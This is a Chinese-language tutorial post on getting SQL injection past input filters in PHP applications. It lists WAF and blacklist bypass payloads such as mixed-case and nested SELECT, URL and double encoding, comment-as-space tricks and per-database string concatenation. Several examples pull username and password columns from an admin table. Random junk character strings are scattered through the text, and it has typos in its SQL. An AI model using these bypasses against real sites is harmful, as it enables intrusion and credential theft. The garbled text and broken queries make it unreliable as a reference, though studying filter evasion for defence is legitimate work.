PHP中SQL注入，绕开过滤，照样注入

admin

SQL注入。有攻有防。知道进攻。才懂得防守.

有的时候，很容易受到SQL注入攻击的程序，可能会进行输入过滤，用来防止攻击者无限制的利用其中存在的设计缺陷。
) \' U6 P) Z. \0 b" }4 c
唱出会删除或者净化一些字符，或者阻止常用的sql关键词。

我们通常有以下几种技巧，去避开这些过滤。
! m- N; L5 |; m
1，避免使用被阻止的字符，即不使用这些字符仍然达到攻击目的。

, O& t* y+ E( nA，如果注入一个数字数据字段，就不需要使用单引号。
( p! v" z. x1 U$ B& j" O& ^. e  f
. F/ j) p* @; ]8 ^B，输入注释符号被阻止使用，我们可以设计注入的数据，既不破坏周围的查询语法。
: c# O, J, Q0 a4 N! i
比如， ?id=1′ 这里存在注入，过滤了注释符合，我们可以输入 ?id=1′ or ‘a’=’a

目的其实很简单，就是把后面的单引号给闭合掉。

) g% O0 X7 M/ U( VC，在一个MSSQL注入中注入批量查询的时候，不必使用分号分隔符。

只要纠正所有批量查询的语法，无论你是否使用分号，查询的解析器依然能正确的去解释它们的。

  P/ @% ]3 z  @2，避免使用简单确认
$ [. X/ o6 M, c& |$ q1 L2 ]6 ?
一些输入确认机制使用一个简单的黑名单，组织或删除任何出现在这个名单中的数据，比如防注入程序。

这一般要看这个机制是否做的足够的好了，黑名单是否足够能确保安全。如果只是简单的黑名单，那也有机会突破的。
7 a& D2 L- c! w# U% J& h
6 O: [5 ]: k: F. {: T4 `3 ~A，如果select关键词被阻止或删除
( }% K1 b4 a2 h+ p7 n
我们可以输入：

1 b0 s3 [% c4 YSeLeCt       注意大小写
7 `: @9 k( v$ u+ P) n' {
selselectect    还记得ewebeditor是怎么过滤asp的么？

. Y$ H: z/ V* {+ s9 [%53%45%4c%45%43%54                        URL编码
# k* L0 u2 R  h$ J
%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25
8 g6 D9 s2 R- |( y. y) X# \% r
" A/ f  q* P* K& g- j, [3，使用SQL注释符
0 b3 U1 ~# K; I! w4 T  {% @- h
& f/ ?' F. _" e/ j9 \, U2 oA,使用注释来冒充注入的数据中的空格。
2 S: F4 W" Y/ p' ]7 ?" Z
select/*yesu*/username,password/*yesu*/from/*yesu*/admin

6 P1 }& v) n+ E- O/*yesu*/来冒充空格
8 L% {$ @4 `# j7 H8 I
: y5 o  u7 b5 ZB,使用注释来避开某些注入的确认过滤。

! ]+ ?9 l! G& M" y. _7 jSEL/*yesu*/ECT username,password fr/*yesu*/om admin

( s, E. V+ X8 l4,处理被阻止的字符串

% q, O- e: l! _. D) w4 g5 X1 R" S2 O比如，程序阻止了admin，因为怕攻击者注入admin表单中的数据。

我们可以这样

# i; o/ w) f$ r% q, HA，oracle数据库： ‘adm’||’in’
- d1 ~, A' y4 }. E- G0 v
# {, ?# i! c0 o! {8 ^! JB,MSSQL数据库： ‘adm’+’in’
  P8 {, D0 N& g7 S: Z3 [! D$ \
* h: H; w7 p$ f! _& FC,MYSQL数据库： concat (‘adm’,’in’)

D,oracle中如果单引号被阻止了，还可以用chr函数
2 V2 b* Y7 s! Z- ~: l# [1 I2 F/ @9 f
4 T0 j' W6 X8 d2 C+ e% @; i* Asleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)

, w+ i8 ]& D5 o- t' U/ w- T. T7 h还有其他方法。正在收集中.

% N& ?) t, z' e& J; F8 t1 x